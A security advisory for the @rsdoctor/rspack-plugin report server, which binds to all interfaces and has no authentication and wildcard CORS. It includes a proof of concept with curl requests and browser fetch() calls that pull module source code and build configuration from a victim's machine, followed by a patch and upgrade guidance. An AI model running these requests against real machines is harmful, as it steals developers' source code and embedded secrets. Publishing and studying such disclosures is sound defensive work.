@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Summary

The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.

Details

Root cause: server binds to all interfaces with no authentication and no key allowlist.

The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:

1. Server binds to 0.0.0.0 (all interfaces)

packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.

 1// packages/utils/src/build/server.ts:83,107
 2server.listen(port, () => {   // no host → 0.0.0.0
 3  resolve(res);
 4});

2. Wildcard CORS enabled unconditionally

packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.

 1// packages/sdk/src/sdk/server/index.ts:106
 2this.app.use(cors());
 3// :203
 4res.setHeader('Access-Control-Allow-Origin', '*');
 5res.setHeader('Access-Control-Allow-Credentials', 'true');

3. POST /api/data/key registered with no authentication middleware

packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.

 1// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
 2@Router.post(SDK.ServerAPI.API.LoadDataByKey)
 3public async loadDataByKey() {
 4  let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
 5  const data = await this.loadData(key);
 6  return data;
 7}

4. key is passed to getStoreData() without an allowlist

packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.

 1// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
 2const data = this.ctx.sdk.getStoreData();
 3let res = data[key];
 4if (key.includes(sep)) {
 5  res = key.split(sep).reduce((t, k) => t[k], data);
 6}
 7return res;

Source-to-sink data flow:

Default configuration ensures source code is captured:

packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.

PoC

Original PoC

Environment setup:

 1# Create and enter a temporary project directory
 2mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
 3pnpm init
 4 
 5# Install the vulnerable version
 6pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11
 7 
 8# Create a source file embedding a secret
 9mkdir src
10cat > src/index.js <<'EOF'
11const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
12console.log(INTERNAL_API_KEY);
13EOF
14 
15# Create rspack config with the Rsdoctor plugin (default settings)
16cat > rspack.config.js <<'EOF'
17const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
18module.exports = {
19  mode: 'development',
20  entry: './src/index.js',
21  output: { path: __dirname + '/dist', filename: 'bundle.js' },
22  plugins: [new RsdoctorRspackPlugin()]
23};
24EOF
25 
26# Run rspack — the Rsdoctor HTTP server starts automatically
27pnpm rspack -c rspack.config.js
28# Note the printed port, e.g.: http://<lan-ip>:3717/index.html

Exploit (from any host on the same LAN, no authentication):

 1# Primary probe: exfiltrate all module source code
 2curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
 3  -H 'Content-Type: application/json' \
 4  --data '{"key":"moduleCodeMap"}'
 5# Response: full source code of every compiled module, including secrets

Expected response (excerpt):

 1{
 2  "...": "...",
 3  "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
 4  "...": "..."
 5}

Secondary probe: exfiltrate build configuration and local paths:

 1curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
 2  -H 'Content-Type: application/json' \
 3  --data '{"key":"configs"}'
 4# Response: 9,278 bytes of serialized build configuration including absolute file paths

Automated PoC (Docker-based, self-contained reproduction):

The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:

 1============================================================
 2VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
 3============================================================
 4[*] Detected Rsdoctor server on port: 3717 (after 3s)
 5[*] Running PoC exploit against http://127.0.0.1:3717 ...
 6[*] Target URL  : http://127.0.0.1:3717/api/data/key
 7[*] Payload     : {"key": "moduleCodeMap"}
 8[*] Auth header : (none)
 9[+] HTTP status  : 200
10[+] Response size: 738 bytes
11[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
12[+] Context around secret:
13    ...NEVER be able to read this content via an unauthenticated HTTP API.
14const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
15console.log(RSDOCTOR_SECRET_MARKER);
16module.exports = { secret: RSDOCTOR_SECRET_MARKER };
17...
18[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
19[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes

Recommended patch:

 1--- a/packages/utils/src/build/server.ts
 2+++ b/packages/utils/src/build/server.ts
 3-export async function createServer(port: number): Promise<{
 4+export async function createServer(
 5+  port: number,
 6+  host = '127.0.0.1',
 7+): Promise<{
 8-    server.listen(port, () => {
 9+    server.listen(port, host, () => {
10       resolve(res);
11     });

 1--- a/packages/sdk/src/sdk/server/index.ts
 2+++ b/packages/sdk/src/sdk/server/index.ts
 3   public get host(): string {
 4-    const host = getLocalIpAddress();
 5-    return host;
 6+    return '127.0.0.1';
 7   }
 8-    this._server = await Server.createServer(port);
 9+    this._server = await Server.createServer(port, this.host);
10-    this.app.use(cors());
11-          res.setHeader('Access-Control-Allow-Origin', '*');
12-          res.setHeader('Access-Control-Allow-Credentials', 'true');

Minimal browser-based PoC

A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.

 1fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {
 2  method: 'POST',
 3  headers: {
 4    'Content-Type': 'application/json',
 5  },
 6  body: JSON.stringify({
 7    key: 'moduleCodeMap',
 8  }),
 9})
10  .then((res) => res.json())
11  .then(console.log);

If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:

 1fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {
 2  method: 'POST',
 3  headers: {
 4    'Content-Type': 'application/json',
 5  },
 6  body: JSON.stringify({
 7    key: 'moduleCodeMap',
 8  }),
 9})
10  .then((res) => res.json())
11  .then(console.log);

In affected versions, the response may contain sensitive build metadata or compiled module source code.

Impact

This is an unauthenticated remote information disclosure vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:

• Full JavaScript source code of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (moduleCodeMap)
• Serialized build configuration, including absolute local file paths, resolver settings, and plugin configurations (configs)
• Build errors that may contain stack traces with internal paths (errors)
• Environment information (envinfo)

The server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (disableClientServer defaults to false). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.

Impacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.

Patched Behavior

The patched version changes the report server's default security model:

• The report server binds to 127.0.0.1 by default.
• Default CORS no longer allows arbitrary origins.
• Default CORS only allows local origins such as localhost, *.localhost, 127.0.0.1, and [::1].
• Passing a partial CORS object preserves the default local-origin protection.
• HTTP requests are rejected when the request host is not allowed.
• The report WebSocket requires a per-server token.
• The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.

Upgrade Path

Upgrade Rsdoctor packages to the patched version:

 1pnpm add -D @rsdoctor/rspack-plugin@^1.5.16

Most users do not need additional configuration after upgrading.

CORS Configuration Behavior

The patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.

Recommended configuration

For most users, leave server.cors unset:

 1new RsdoctorRspackPlugin();

If another local development frontend needs to access the report server, configure an exact origin:

 1new RsdoctorRspackPlugin({
 2  server: {
 3    cors: {
 4      origin: 'http://localhost:3000',
 5      credentials: true,
 6    },
 7  },
 8});

Avoid permissive CORS configuration:

 1new RsdoctorRspackPlugin({
 2  server: {
 3    cors: true,
 4  },
 5});

 1new RsdoctorRspackPlugin({
 2  server: {
 3    cors: {
 4      origin: '*',
 5    },
 6  },
 7});

These configurations explicitly opt out of the safer default CORS behavior.

Breaking Changes

The patched version intentionally tightens the report server's access model.

1. The report server is local-only by default

The report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.

If your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.

2. Cross-origin access is restricted by default

Web pages from non-local origins can no longer read report server responses by default.

If you have a trusted local integration, configure the exact allowed origin through server.cors.origin.

3. Custom WebSocket clients must use the tokenized socket URL

The report WebSocket now requires a per-server token.

Custom clients must not construct the socket URL manually, for example:

 1new WebSocket('ws://localhost:<port>');

Instead, they must use the tokenized socket URL provided by the report runtime data.

4. server.cors: true remains an explicit opt-out

server.cors: true uses the default behavior of the cors middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.